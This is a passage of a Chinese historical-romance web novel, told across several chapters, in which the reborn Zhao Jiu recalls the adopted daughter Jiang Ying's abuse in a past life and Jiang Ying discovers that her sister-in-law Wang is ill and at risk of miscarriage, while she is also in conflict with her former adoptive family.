姜璎这个死脑筋,被下药之后就认了命,哪怕后面送到常六郎院里,让人发现新娘不是姜宝瑜,也没有任何辩解澄清。
永安侯府给出的说法,是姜璎嫉妒姜宝瑜的亲事,毕竟她一个养女,无论如何都不可能嫁到将军府这样的门第,于是故意迷晕姜宝瑜,又给自己下了药,想着勾引常六郎生米煮成熟饭。
第20章 前世
明眼人一看就知道,这种说辞大有漏洞。
毕竟刘氏身为当家主母,掌控内宅十余年,又怎么可能让一个养女在自己亲生女儿的婚事上动手脚?
奈何永安侯府一口咬死就是姜璎爱慕虚荣、心机深重,说她为攀附权贵做出如此败坏门风的丑事,直接干脆利落地断绝了关系,将她交给将军府处置。
自此,姜璎陷入人间炼狱。
将军府未必不知她只是一枚棋子,垫脚石,但那又如何呢?他们不能和永安侯府撕破脸面,难道还不能收拾一个小小的养女?
姜璎被关到了柴房,四肢脖子都戴上了沉重的锁链。
常六郎恨毒了姜璎,每每心情不好便过来发泄,充满倒刺的马鞭将人抽的满身鲜血、匍匐在地,怒骂声不停:“贱狗!你这个下作的贱狗!”
直至姜璎奄奄一息,方才甩鞭离去。
赵咎回京得知此事,不是没有派人和将军府交涉,甚至被拒绝以后还让随从悄悄潜入将军府后院去找姜璎。
只要她愿意离开,他想方设法,哪怕得罪将军府,也会保她周全。
但姜璎不愿意。
她拒绝了他的好意,宁愿饱受折磨,也要偿还永安侯府的恩情。
“赵、赵九郎君?”姜璎忽然觉得后背凉飕飕的,下意识往窗牖看去,是没关窗吗?
然而才转头就被掰了回来。
赵咎捏着姜璎的下巴,眼眸阴沉,脑海中浮现出上辈子她遍体鳞伤倒在血泊中的画面。
“你说,一个人被活生生打死是什么感觉?”他声音很轻,只隔了一张短案,呼吸仿佛都近在咫尺。
姜璎莫名竖起汗**,只觉此刻赵咎身上散发着一股十分危险的气息。
下巴还被攥着,没有用力,但她一动也不敢动,小心翼翼道:“应该,应该很疼吧?”
是啊,怎么会不疼呢?
赵咎慢慢松开手指,明明脸上没有什么表情,但姜璎却感受到了浓浓的悲伤。
也不知哪儿来的冲动,姜璎一把握住赵咎的手。
四目相对。
姜璎一脸严肃问道:“赵九郎君,是不是有人打你了?”
她觉得只有这个原因才会让赵咎问出这样莫名其妙的问题。
“......”他面无表情,语气刻薄到了极点,“不要推己及人,我可不是你,我这辈子都不会做出一动不动站着挨打的蠢事。”
姜璎微微睁大眼睛,反驳道:“我也不会!”
她也不会?那上辈子被活活打死的是谁?赵咎冷笑一声,什么都没说,但又好像什么都说了。
“行了,去用晚膳吧。”
姜璎生怕他不信,急急忙忙追上去保证道:“赵九郎君,我知道我现在是你的人!要是被人打了,卫国公府也会跟着我一起丢脸,所以你放心,我绝对绝对不会站着挨打的!”
赵咎只听见了前面那句话。
我是你的人……
有那么一瞬间,胸腔震颤,心跳雀跃,全身宛若电流游走,泛起酥酥麻麻的痒意。
赵咎很没出息地被取悦到了。
他努力冷着脸,“少来这一套,你觉得我是那种随随便便就能哄到的人吗?”
姜璎愣了一下,不明白话题怎么突然转变到了这里,但还是实话实说:“是、是的吧?”
她仰头,露出一个不好意思的笑容,眼神真挚道:“我觉得赵九郎君就是很好很好的人呀!”
赵咎被她看得耳根子发烫,下台阶时险些一个趔趄。
“赵九郎君!”
“没事。”赵咎摆了摆手,一脸若无其事,“我刚才在想事情,没注意听你说话。”
“你刚才,说什么来着?”
姜璎信以为真,不敢再打扰赵咎想事情,于是道:“我没说什么呀。”
赵咎:“……”
他耐心道:“你再想想,你刚才说的话。”
姜璎认真回忆了一番,她刚才有说什么重要的话吗?
哦对了!
“赵九郎君!”姜璎拉了拉他的衣袖,“世子夫人今日身子不适,我们用了饭之后可以去看望她吗?”
赵咎想说你是没断奶的孩子吗,动不动就要找大嫂。
话到嘴边忽然想起了一些事情。
上辈子这个时候,父亲奉命前往蜀地赈灾,而
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他随大兄下江南剿除水匪之患,等剿匪回来,姜璎已经声名狼藉地嫁进了将军府。
彼时,大嫂似乎刚刚大病初愈,整个人消瘦很多。
赵咎放心不下,但王氏却说没什么要紧。
直到后来,蜀地突发地震,死伤无数,父亲的死讯传回盛京,全家悲痛欲绝,就连宫中的太后娘娘也跟着晕厥过去。
父亲的死仿佛是卫国公府由盛转衰的征兆。
很快,大兄在去接父亲遗体的路上遭遇不测,大嫂深受打击,竟一病不起,短短几月便撒手人寰。
还有二兄、三兄,乃至陛下……
“赵九郎君?”轻柔的声音把赵咎拉回人间。
他摒除杂念,开口道:“一会儿用了晚膳,我让刑如风过来一趟。”
姜璎连忙问:“那我可以去看望世子夫人吗?”
赵咎不知道王氏身体亏损是否从这时开始,但他毕竟是外男,又是小叔子,不好时常跑后院,与长嫂太过亲近也容易遭人话柄。
赵咎想了想,道:“大嫂身子不适,你辛苦些,多照看一二,其他的事我来处理。”
姜璎毫不迟疑点头,她照顾人照顾习惯了,看见王氏这样疲倦虚弱,心里总有一种不安的预感。
晚膳之后,天彻底黑了下来。
邢医官提着药箱,一边儿走一边儿抱怨,“赵咎你个王八蛋,我好歹也是大魏的官员,就这样被你呼来喝去!我不要面子的吗?”
赵咎理亏,但嘴硬:“区区小事,也值得你唧唧歪歪,还是不是男人了?”
邢医官抡起袖子就要和他干架,“你说谁不是男人!”
吵闹声甚至传到了屋里。
王氏无奈叹了口气,真是不嫌丢人!
入夜之后,赵咎不好进王氏的院子,便在外头等候。
邢医官理了理衣袍,对守在廊下的辛夷点了点头。
“世子夫人安好。”刑如风恭恭敬敬道,一转头,“哎哟,小娘子也在啊!”
咔嚓——
听到这热情的声音,赵咎面无表情掰断了手边的树枝。
刑如风,狗东西。
离我媳妇远点!
第21章 病因
“沉而无力,重按始得,轻取不明显……”邢医官搭脉时收敛起平日的顽闹取笑,神情略微有些凝重,“这是气血俱虚的特征啊。”
姜璎脱口而出:“可是过度劳累,久病耗气导致?”
屋内所有人目光齐齐落在姜璎身上,她一向是默默无闻的那一个,此刻难免紧张,“我先前看过几本药书……”
“不错。”邢医官给了她一个赞赏的眼神,对王氏解释道,“世子夫人的脉相,大多都是过度劳累,久病耗气所致,这或许也是您这几日倦乏无力的原因。”
辛夷忍不住道:“可夫人之前还好好的,也并没有过于劳累呀。”
邢医官翻了翻王氏以前的脉案簿,像卫国公府这样的人家,每月过来把脉看诊的医官都是固定的老熟人。
脉案簿上,王氏上个月的脉相写着和缓有力,三部调和,给她把脉的王医官甚至还是琅琊王氏的旁系族人,按理来说不会出错的。
但——
他把的脉也没问题啊!
确确实实就是气血亏虚!
要不然王氏这两日也不会格外疲倦乏力,听说今儿都睡大半天了,正常人怎么可能睡那么久?
姜璎嗫嚅着唇,“是不是因为,夫人这几日教我算账累着了……”
王氏无奈一笑,“你这傻孩子,怎么净把责任往身上揽?”
辛夷也道:“姑娘别多想,夫人最近已经算是空闲了。”
要知道国公夫人过世那会儿,卫国公府的男人尤其是卫国公,沉浸在悲痛之中,差点一病不起,王氏还刚生了孩子不久,又要操持整个家,又要分心照顾年幼的赵咎。
那才叫一个辛苦难熬!
不过好歹也熬过来了,倒是如今家中没什么事儿,怎么反而累病了呢?
姜璎犹豫道:“那是不是只要休息好了,不再劳累,世子夫人的身体就会慢慢好转?”
邢医官道:“老话说得好,三分治七分养,世子夫人还是要避免太过劳心伤神,如此方能身体长久。这样,我先开几剂温养的方子,世子夫人先吃着,看看是否能好些。”
王氏笑着点头,“多谢邢医官,大晚上的还麻烦你走一趟。”
“世子夫人客气了。”邢医官也就是在赵咎面前嘴贱,但碰上王氏那可是老实得不能再老实,毕竟这可是琅琊王氏嫡女。
辛夷亲自送邢医官出去。
王氏见姜璎仍旧心事重重,不免心头一软。
“阿池,过来。”她轻招手,让姜璎坐到她身边,柔声道:“别担心,许是我这几日没睡好的缘故,你明日还是把理好的账本带过来。”
“我不想算账了。”姜璎鼓起勇气,见王氏面露诧异,小声道,“反正、反正也不用我管家。”
“胡说!”王氏头疼道,这孩子,肯定把郑氏今日说的话听进心里去了。
当下这个时代,管家才是女子立身之根本。在琅琊王氏,不论嫡庶,七岁便要开始学管家,用她母亲的话来说,“别人会不如自己会。”
尤其是当家主母,哪个不会管家?又有哪个不想要管家权?
王氏自己没有女儿,但是一直把赵咎当作儿子养,他未来的妻子跟儿媳也没什么两样了。
当然,也是姜璎品性端正,人老实,入了王氏的眼,要不然她也懒得多费口舌。
“夫人,对不起……”姜璎眼眶泛红,愧疚不已,都这个时候了她还让王氏为自己操心。
王氏无奈摇头,怕姜璎多想,又道:“我这几日没睡好也是因为夫君和二弟下江南剿除水匪……与你无关。你今日做的很好,没有失了卫国公府的颜面。”
小门小户出身,难免眼界狭隘,在琅琊王氏嫡女眼里,一个小小的侯府自然算不上高门大户,王氏先前还怕姜璎调教起来费劲,没想到她性格老实,却一点即通,大大出乎王氏意料。
“时间也不早了,你也回去歇着吧。”
姜璎看出王氏精力不济,点了点头,没有再打扰。
辛夷走进来,笑着看了姜璎一眼,“九郎还没走呢,说要送一送姑娘。”
王氏无语凝噎,都懒得吐槽了。她这是土匪窝吗?就这么点路还要送一送。
姜璎走出去,就看见赵咎守在
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外头。
邢医官竟然也还没走。两人不知道说了什么,邢医官把药方子交给辛夷,摆了摆手示意不用再送。
“邢医官,”姜璎心中惴惴不安,总觉得王氏抱恙得蹊跷,“世子夫人真的只是气血亏虚的毛病吗?会不会,还有什么问题没把出来?”
邢医官:“???”
他脚步一顿,回过头来,满脸不可置信,指着姜璎对赵咎道:“老赵!她质疑我?她竟然质疑我的医术?!”
赵咎拍开他的手,警告地看他一眼:“问问怎么了?别小题大做。”阿池也是关心大嫂。
邢医官悻悻然,在心里骂道:“过河拆桥!重色轻友!臭不要脸!”
赵咎懒得理他,送姜璎回去,路上不动声色问起她和王氏的对话。
听到姜璎说不想学算账,赵咎皱了下眉,耐心道:
“大嫂说的对,管家乃女子立身根本,就算现在卫国公府不用你管家,但日后成了亲,蓼莪院的大小事也得你来操心。”
“我知道管家很累,又要看账,又要管人,但你若不管家,日后病了想喝口热水都要求人。”
这种事情在内宅中屡见不鲜。多少夫人因为失了管家权,连下人都拜高踩低跟着瞧不起?
赵咎对姜璎的要求,可以不管家,但不能不会管家。
姜璎认真点头,她知道赵咎和王氏是为了她好。
也正是如此,她更加放心不下王氏的身体。
回房的路只有一小段,很快就到了。
眼看要分别,姜璎神色踌躇,不知道该怎么开口。
“想说什么?”
“我……”
姜璎不知道该不该说,说了怕惹人笑话,难道她还能比正儿八经的宫中医官还要厉害不成?但不说,她心里又不踏实。
赵咎就这样望着她,把她的纠结、苦恼、担忧一一收入眼底。
怎么会有人这样可爱。他想。
“赵九郎君。”
姜璎鼓足勇气,磕磕绊绊道:“我想起一件事情,刘夫人……前几年也曾有过和世子夫人这样的情况,但、但她是小产……”
第22章 公平
小产?
赵咎心神一震,他从未往这个方向想过。
“为什么这么说?”赵咎虽然时常嫌弃邢如风,但还是为他说了一句好话,“邢如风虽然时常不着调,但大嫂要是有了身孕,他不会看不出来。”
姜璎被说服了,“好吧。”
只是,真的不会怀孕吗?她低着头,神情颇为苦恼,一边儿想着事情,一边儿往房里走。
赵咎就看着她抛下自己,连句招呼也不打,“姜璎!”他忍不住磨了磨牙。
姜璎回头,见赵咎莫名黑着脸,一时间有些摸不着头脑,“怎么了?”
她还好意思问怎么了,赵咎看了一眼边上的仆婢,香薷香附等人连忙低下头,假装自己不存在。
赵咎走到她面前,居高临下道:“你就没什么想跟我说的?”
姜璎面露茫然,说什么?
“哦......赵九郎君放心,我一定会好好照顾世子夫人的。”她思来想去,应该只有这个了。
“......”
赵咎沉默半天,发出灵魂质拷问:“我今日一天没在家,你怎么也不问问我去哪儿了?”
赵咎很公平,他对姜璎有强烈的独占欲,必须知道她每天做了什么,跟谁有过接触,同样,姜璎也可以询问自己的情况,这在他看来是一种在意的表现。
姜璎不明白怎么忽然说起这个,“啊”了一声,表情困惑道:“我可以问吗?”
“为什么不可以?”赵咎哼了一声,眼神流露出丝丝危险,“你不会忘了自己的身份吧?”
“没有啊!”
姜璎只觉冤枉,她的命都是赵九郎君给的,怎么可能忘了身份?
“不是有规矩,内宅女眷不得过问郎君的事儿吗?”
“哪来的规矩?”赵咎阴着脸。
“是永安侯府。”姜璎小声道。
“......”
“......”
赵咎气笑了,“你是想气死我好改嫁?”
一旁的香薷在心里默默纠正:还没成亲呢,不算改嫁~
姜璎呆呆道:“怎么会?我生是赵九郎君的人,死是赵九郎君的——唔!”
赵咎一把捂住姜璎的嘴,厉声道:“我看你是胆子肥了,什么胡话也敢说!”
姜璎眨了眨眼。
不能说鬼字?是因为赵咎怕鬼吗?
“你以后再说......”赵咎盯着她,慢慢松开手。
姜璎连忙保证:“不说了,以后都不说了!”
赵咎依旧气不顺,冷冷道:“别人是别人,我们是我们。你嘴上说的好听,其实一点儿也不关心我在外头发生了什么。”
姜璎迟钝的大脑终于灵光一回,求生欲十足道:“关心的!关心的!我以后每日都问,只要赵九郎君不嫌我烦。”
赵咎见她一脸诚恳,方才勉强放过,“那你问吧。”
呃...
姜璎试探性地问道:“你今日都做了什么呀?”
赵咎一秒变脸,冷哼道:“现在才问,晚了!”
姜璎:“......”
她抿了抿嘴,梨涡若隐若现,软声道:“好吧,那我明天再继续问。”
很好脾气的样子。
赵咎没忍住揉了揉她白嫩嫩的脸颊,对上她的眼睛,声音不自觉就轻了下去,“那你明天记得别忘了。”
“嗯嗯!”
“忘了的话,我不会原谅你的。”他恐吓道。
姜璎信誓旦旦,“不会忘的!”
酉时已过,赵咎不好继续留在后院,加上还有事儿问邢如风,身影很快消失在夜色之中。
他人是走了,但姜璎脸上的触感却始终挥之不去。
明明揉得也不用力啊......
姜璎摇了摇脑袋,在香薷等人的服侍下稍微洗漱了一番,很快倒头睡去。
翌日。
因着王氏前几日特意吩咐过不必早早过去请安,姜璎便用了早膳之后再去看望。
她到的时候,王氏还没起。
辛夷叹了口气,低声道:“夫人昨晚上喝了药,早早歇下了,原以为今日会好些......”没成想反倒更加困乏。
姜璎心里还是有些疑虑,“要不,再多请几个郎中过来看看?”
辛夷摇了摇头,连王医官和邢医官都说没什么问题,只是气血亏虚,其他郎中难道还能比他们更厉害吗?
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她安慰道:“姑娘不必担心,兴许夫人吃上几日药,再多休息休息就好了。”
姜璎低声道:“眼下也只能如此了。”
然而,一连三四日,王氏都未曾有所好转。
这下就连郑氏都坐不住了,时不时地过来看望。
隔着一层丝帕,刑如风搭完左手搭右手,把脉许久,眉头越皱越紧,“不应该啊。”
那天赵咎提过一嘴王氏会不会有身孕,刑如风就特意问了辛夷,辛夷非常肯定地说绝无可能,王氏前两日才来了月信,虽然少了点,日子短了点,但也是来了。
怎么可能怀孕呢?
刑如风也觉得不可能,脉相是不会骗人的,不过为了以防万一,他还是换了药方,给王氏用最温和的药。
难道是因为太温和了,所以起效不明显?
王氏靠在引枕上喝药,姜璎把吹的温度适中的药汁味喂到王氏嘴里,喝完以后,辛夷送上清茶漱口,另有仆婢捧着铜盆,王氏缓缓将漱口水吐出。
一番举动下来,刑如风还没琢磨出原因,他拱了拱手道:“世子夫人,请容下官再去翻阅医书,一定为您调理好身体。”
王氏用帕子拭去嘴边的茶渍,苍白的面容露出一丝微笑,道:“有劳邢医官了。”
用了药,王氏便支撑不住,姜璎和郑氏见状不再打扰,纷纷退下。
郑氏看了一眼姜璎,她倒是知道讨好大嫂,只是弟媳又不是儿媳,这几日忙前忙后、侍奉殷勤,未免太小家子气。
郑氏淡淡道:“我听说万业寺的平安符最是灵验,姜姑娘如此有心,不妨走一趟,毕竟留在这跟下人抢活干也没什么意思。”
姜璎听出了郑氏话里的嘲意,不卑不亢道:“多谢二夫人提点。世子夫人对我照顾有加,如今身体不适,我尽心侍奉也是理所应当。”
郑氏哼笑一声,真不知道阿劫为什么找这样一个麻烦回来。
就因为姜璎,她现在都不敢出门赴宴,就怕别人问起你们家九郎怎么就看上了永安侯府的养女。
郑氏走后,姜璎倒是陷入沉思。
万业寺?
她好像在哪里听说过。
第23章 跟踪
姜璎隐约记得自己好像去过,但又一时半会想不起来,干脆按下不提,让香薷她们先准备牛车以及上香用的一应物件。
姜璎自己则留在房里,拿出王氏给她但却一直没舍得用的一刀纸,一个人安安静静默写出一卷经书。
“姑娘的字真好!”香附真心实意地夸赞,就是不知道抄的是哪本经书。
姜璎抿嘴一笑,解释道:“这是《药师经》。”
香附震惊道:“姑娘还会默写这个?这也太厉害了。”
姜璎顿了一下,似乎被夸的不好意思,轻声道:“以前抄的多了,就记住了。”
自从爱女丢失以后,刘氏的身体一直不大好。
姜璎便时常翻看药书,学习药膳,为刘氏调理身体,偶尔闲暇功夫也会抄写经书,《药师经》专为祈求健康平安,适合父母等长辈消灾延寿,可化解病痛与业障。
一年到头抄上几十卷,最后熟悉到姜璎闭着眼睛都能默出来。
香薷这会儿也回来了,她原就是蓼莪院里的大丫鬟,做事利索得很,这还是在她拖了一会儿的情况下……
“姑娘,咱们真要去万业寺吗?”香薷迟疑道,“就连王医官和邢医官都说夫人没什么大碍,只是太过操劳……”
再说了,这种靠佛祖真的有用吗?
剩下半句话没说出口,但姜璎明白她的意思。
“人力亦有尽头,可以信,锦上添花的信。”
姜璎无奈笑了一下,“这也是,我能为世子夫人做的为数不多的事情了。”
香薷道:“可这一来一回,得大半天呢,说不定回来天都黑了。”
姜璎算了一下,“不用,来去两个时辰,应该能在申时前赶回来。”
抄经书的时候她终于想起来为什么会觉得万业寺熟悉,因为两年前,她曾在万业寺和赵咎见过一面。
香薷讪讪一笑,话都说到这个份上了,她也不好再阻拦。
“东西都已经准备齐全,姑娘,现在就出发吗?”
“走吧。”姜璎习惯性把经书用小匣子装好,又换了身素净的衣裳,对香薷她们解释道,“二夫人或许只是随口一说,但我记得万业寺住持擅长医理,我们供了经书祈福,之后可以找机会问问世子夫人的病情。”
香薷没想到姜璎考虑这样齐全,外头的辛夷听到这话,也不禁感叹夫人和九郎看人眼光真准。
王氏听说姜璎要去万业寺,特意让辛夷过来将人拦下,又不是什么大病,哪里还需要她一个小娘子专门跑万业寺去?
但……
辛夷想到王氏苍白的面色,紧了紧手心,最终还是转身离开。
或许呢?
就像姜璎说的,人力亦有尽头。
无人阻拦,姜璎很快上了牛车,这次出门不比上次去永安侯府,除却香薷香附等五六个仆婢以外,还带了十多个护卫。
姜璎还是很惜命的。
万业寺坐落在盛京东北方向,据说里头的住持已有八十高龄,这让原本不信佛的人都对万业寺有了一丝崇敬。
尤其是世家大族,有权有势到了极点,谁不想永葆青春、长生不老?
更不要说,当今陛下信奉佛道,前些年还花重金修缮万业寺……
“姑娘,到了。”
香附跪坐着给姜璎戴好羃篱,又稍理了理衣裙,确定无误后,方才搀扶姜璎下车。
万业寺虽只有一百多年的历史,但却修缮得金碧辉煌、恢弘大气。
任谁来了都得感慨一番,这都快赶上护国寺了。
一下车,便有小僧人迎上前来。
“阿弥陀佛,几位施主里边请。”虽不知道姜璎身份,但整个盛京谁不认识赵氏族徽?
“我家姑娘来为家中长辈祈福,请问小师傅,经书该供奉何处?”香薷问道。
小僧人做了个请的动作,领着她们往里走。
经书是供奉在净法殿,香薷交了香火钱,见姜璎虔诚地跪在蒲团上,双手合十为王氏祈福,不好打扰,跟香附等人说了一声,便去打听住持所在。
“阿娘,你放心吧,我们特意过来给阿兄祈福,他日后一定平平安安、健健康康。”娇柔的声音落地,紧接着
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殿外响起细微的木屐声。
这个声音。
姜璎蓦地睁开眼,想把羃篱戴上,免得多生事端,但转念一想她堂堂正正做人,没什么好怕的。
谁要是敢找事,她就让香附直接动手!
就是……在万业寺**好像不太好?
姜璎纠结地皱起眉头,正好经书默诵完一遍,她深深而拜,在心里为王氏默默祈祷。
佛祖在上,世子夫人自嫁入卫国公府,无一日不端庄贤淑,她管家勤勉,待下宽厚,绵延后嗣,将整个家打理得井井有条。
求佛祖保佑……
“妹妹,你怎么也在这儿?”诧异的声音。
姜璎睁开眼,就见姜宝瑜满脸惊喜地看着自己,她挽着刘氏的手,柔声道:“阿娘你看,我就知道妹妹嘴硬心软,她心里一定也是担心阿兄的。”
“不过,真没想到,我们竟然这么巧在万业寺遇上了,阿娘你说这是不是心有灵犀?”
听到这话,刘氏原本和缓的面色又冷了下去。
“我倒是没看出来,你还有这种心机。”
刘氏盯着姜璎,冷笑道:“表面装的云淡风轻,实际上一直在关注永安侯府吧?也不知道,是府里哪个下作东西吃里扒外、通风报信,但我告诉你,别以为你耍这些心眼手段,我就会原谅你……”
姜璎打断道:“刘夫人怕是误会了,我不会来为姜大公子祈福的。”
“怎么可能?”姜宝瑜发出小小声的惊呼,掩着唇,温柔道,“妹妹,你是不是因为被我们发现了,所以不好意思?不要紧的,就算是走了歪路,但至少心是好的呀,如果阿兄知道你担心他,一定会高兴的。”
香附脾气没香薷好,不耐烦道:“我说二位,耳朵长了就要用,佛门清净之地,总不会脏东西上身听不懂人话吧?”
“都说了不是为你家大公子来的,怎么还能一个劲自说自话?刘夫人,你真以为永安侯府是什么香饽饽啊?还一直关注,说出来也不怕惹人笑话。”
听到这,周遭香客不由低笑出声、窃窃私语。
第24章 小产
这一下,刘氏脸上显然有些挂不住了。
王氏不给她面子也就罢了,这区区一个奴婢也敢在她面前放肆?!
“你——”
“佛门重地,夫人还是不要失态的好。”姜璎抢在刘氏之前开口道。
姜璎伺候刘氏多年,对她也算是有些了解。刘氏出嫁前便是家中颇为受宠的嫡次女,下嫁给永安侯后,又是夫妻美满、子女成双,就连唯一的缺憾也在半年前女儿找回后被补全。
可以说,她这样的贵夫人最是看重脸面,尤其在万业寺这种香火鼎盛的地方,一旦失态,可就成为笑话了。
果然,经姜璎一提醒,刘氏也想到了什么,只能硬生生把怒气忍下来,皮笑肉不笑说了一句:“从前没看出来,你还有这种调教下人的本事。”
“刘夫人说笑了。”姜璎时刻谨记自己的身份,自然不会轻易跳入陷阱,就像赵咎说的,哪有主子亲自出面调教下人的道理?
“香附不懂事,回头我一定让管事嬷嬷好好教导,刘夫**人有大量,不要同她一般见识。”
伶牙俐齿!
刘氏心里十分不舒服,要知道姜璎以前在她面前恭谨孝顺,是从来不敢说半个不字的,如今竟然学会顶嘴了。
“阿娘。”姜宝瑜唤了一声,善解人意道,“妹妹偷偷过来,还抢在我们前头,想来是觉得难为情,不想让我们看见,那我们就当什么都不知道吧。”
姜璎冷冷看着姜宝瑜,香附等人更是憋屈得不行。
这个姜大姑娘真是颠倒黑白的一把好手!
三言两语就成了姜璎打探永安侯府的动静,偷偷跟着她们,甚至还为了撇清干系颇有心机地抢在前头进入万业寺。
刘氏无奈地看着女儿,嗔道:“你啊,永远都是这样心软,就知道一心一意为别人着想。算了,这次当看在你的面子上......”
“姑娘!”香薷走过来,脚步轻盈,欢喜溢于言表,“住持感念您一片真心,说要见您呢。”
身后跟着的小僧人念了句佛号,“阿弥陀佛,姜施主,住持有请。”
姜璎没想到真的能见到住持,一时间被惊喜冲昏头脑,还是小僧人提醒:“姜姑娘,您的东西别忘了。”
姜璎连忙拿起装在木匣中的《药师经》。
“妹妹!”
姜宝瑜叫住她,笑盈盈道:“既然是为阿兄祈福,那我和阿娘随你一道过去吧,我还没见过住持呢。”
姜宝瑜不信姜璎有那么大本事,哪次家里人生病她不是来来**就写那点经书?万业寺住持德高望重,自然不会被轻易打动,肯定是看上卫国公府的面子上才见的姜璎。
她挽着刘氏的手,就要走到姜璎前头。
小僧人一把拦住她们,肃容道:“还请两位施主止步。”
姜宝瑜愣了一下,刘氏生怕女儿受委屈,对姜璎吩咐道:“阿池,你快跟小师傅说,我们都是一家人,一起来为你阿兄祈福的!”
小僧人看向姜璎,礼貌询问:“姜施主,是这样吗?”
眼见刘氏满脸催促,姜璎忽然微微一笑。
她抱着木匣,轻描淡写道:“我同她们不是一家人。”
小僧人立马扭头看向刘氏母女,满脸不悦:“佛门重地,也敢满口谎言!”
边上不知谁先笑出声,紧跟着嗤笑声此起彼伏。
“这永安侯夫人真有意思,竟然敢当着佛祖的面说谎,也不怕遭报应!”
“她要是怕报应,又怎么会做出拿养女顶替……的事情?合着不是亲生的就不值钱呗。”
“还是离这种人远点吧。”
刘氏听着边上的闲言碎语,面色一阵青一阵白,但仍旧不肯相信,她手指着木匣,咬牙切齿道:“你这经书,难道不是为了祁儿供奉的吗?”
姜璎道:“不是啊。”
姜承祁哪里比得上世子夫人?她担心王氏都来不及,哪有心思去管别人死活。
刘氏眼前一黑,再也承受不住边上人的目光,身子一软晕了过去。
“阿娘!”姜宝瑜下意识要喊姜璎,她不是一惯喜欢装孝顺懂事的吗?难道就忍心看着阿娘晕倒?
结果一抬头,就见姜璎头
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也不回跟着小僧人离开。
刘氏自然也瞧见了,这下彻底晕了过去。
小僧人领着姜璎一行人到禅院,参天大树下,只有一个身穿古朴僧衣的清瘦老者在扫地。
“住持,姜施主到了。”
姜璎连忙双手合十,躬身行礼,“见过住持。”
香薷香附等人跟着照做,毕恭毕敬,不敢有一丝怠慢。
“小施主有礼了。”住持微微一笑。
“住持,我今日过来……”
“阿弥陀佛。”住持和声道,“小施主所为何来,贫僧已经知晓。世子夫人怪病,归根结底不过亲人暗害,如今胎像不稳,已有流产征兆。”
“小施主,困惑已解,你且归家去吧。”
亲人暗害,胎像不稳,流产征兆?
姜璎脑子一片空白,怔怔看着老者。
她张了张嘴,想说什么,但小僧人已然做出请的动作,“姜施主,住持言尽于此,您还是回家去吧。”
对,回家!
姜璎气息不稳,朝老者行了个礼,将经书供好,便匆匆忙忙往回赶。
“姑娘,慢点!”香薷等人跟在后头看得心惊胆战,生怕姜璎一个不小心摔了。
姜璎满脑子都是住持说的那几句话。
甚至和刘氏母女擦肩而过,都不曾注意她们一眼。
世子夫人……真的怀孕了!甚至还有小产的风险!
“阿池……”
虚弱的呼唤声企图叫住姜璎。
然而,姜璎脚步不停,头也不回,刘氏只能眼睁睁看她上了赵氏的牛车,扬长而去。
车夫虽然不知道发生了什么事,但也能看出姜璎的着急,尽力往卫国公府赶。
“姑娘,到了!”
香薷搀扶姜璎下车,一路直奔王氏的院子。
姜璎神情紧绷,下意识要找赵咎,“赵九郎君回来了吗?”
下人摇了摇头,“九郎今日一早便被陛下传唤进宫,还没回来呢。”
“那、那邢医官……”
屋内忽然响起东西落地的声音,紧接着,辛夷惊慌失措叫道:“夫人!”
第25章 上门
言罢,姜璎再不与她废话。
供奉完经书,直接往外走,香薷搀扶着她上了牛车,一行人扬长而去。
“尽快回家!”姜璎对车夫说完这句话,整个人就像是被抽干了力气,坐在羊毛毯上。
香薷香附不明所以,但也不敢质疑主子做的决定。
香薷见姜璎面色难看,煮了茶,“姑娘,喝点茶暖暖身子吧。”
姜璎摇了摇头,她现在满脑子只有一个念头。
——世子夫人真的怀孕了!甚至还有小产的风险!
一直到卫国公府门口,姜璎才感觉冰凉而僵硬的手脚有所好转。
“姑娘,到了!”
香薷搀扶姜璎下车,一路直奔王氏的院子。
姜璎神情紧绷,下意识要找赵咎,“赵九郎君回来了吗?”
下人摇了摇头,“九郎今日一早便被陛下传唤进宫,还没回来呢。”
“那、那邢医官……”
屋内忽然响起东西落地的声音,紧接着,辛夷惊慌失措叫道:“夫人!”
姜璎一进屋,就看见王氏倒在辛夷怀里,面色如纸,气若游丝,往下裤腿红梅点点,分外醒目。
姜璎当下脑子空白一片,她狠狠咬了一口舌尖,才找回一点理智,吩咐香薷她们:“去请邢医官,现在就去,快!”
王氏身边的下人到底还是老练的,一阵慌乱过后,便迅速镇定下来,将王氏抱到榻上,又打来温水擦身换衣。
“二夫人呢?”姜璎拉着辛夷的手问,王氏忽然昏迷,自然得郑氏出来主持大局。
“二夫人今早回娘家去了。”辛夷苦笑道,王氏知道郑氏因为外头流言迁怒姜璎,便说了她几句,结果郑氏心里不痛快,直接回了娘家。
姜璎没想到如今府里一个主事儿的都没有,顿时有些手脚发软。
她咽了咽口水,强迫自己镇定下来,“世子夫人,不是来了月信,而是……胎像不稳的流产先兆。”
辛夷当场愣住。
目光落在王氏换下的衣裤,上头血迹斑斑,好似闷头一棍,砸的她眼前一黑。
不是月信……而是,有了身孕?
“不要慌、没事的,邢医官很快就来了,别慌。夫人一定会没事的……”姜璎低声道,像是在安慰辛夷,更像是在安慰自己。
然而,屋漏偏逢连夜雨。
外头仆婢前来禀报,声音难掩焦急。
“不好了,将军府忽然来了好多人!非说把姑娘交出去,要不然、要不然他们就不走了!”
辛夷咬牙道:“他们好大的胆子!姑娘放心,奴婢这就去调人,将他们打出府去!”
世子离京之前,特意留了十个亲卫在家里,只是需要辛夷找来令牌才能调动。亲卫和普通看家护卫不同,严格意义上来说,应该称他们为部曲。
姜璎怔怔地看着王氏,阻止了辛夷离开。
“你照顾好世子夫人,我去……”
“姑娘?!”辛夷吓了一跳,生怕姜璎傻乎乎跟将军府的人离开,那等赵咎回来,还不把整个家给掀了!
姜璎朝她笑了一下,道:“我去请他们离开。”
将军府的人不请自来,时间上也充满巧合,就像今日姜璎在万业寺看见刘氏母女,没有一处地方不令人生疑。
姜璎不明白,为什么姜宝瑜非要置她于死地。
因为嫉妒?可姜璎从来没有取代她,占据她在永安侯府的地位。
就连下人都知道,她只是永安候父子哄刘氏的一个小玩意儿。
“姑娘!”辛夷叫住姜璎,恳请道,“在九郎回来之前,千万别让外人知道夫人的病情。”
若真是姜璎所说的那样,恐怕王氏的身体早就出了问题。
而能在王氏身上动手脚的,都是极其亲近之人。
辛夷不敢往深处去想,只盼着,夫人平安才好,在此之前,绝不能打草惊蛇,走漏风声!
“我知道。”姜璎点了点头,往外院走去。
王氏的三个儿子都在宫中太学念书,郑氏的孩子则被放在郑家族学里,三房夫妻留下的一双儿女年纪还小,尚未进学,这会儿恐怕还在房里嬉笑玩闹。
姜璎没想到自己竟然还能有担事儿的一日。
她表面看着镇定自若
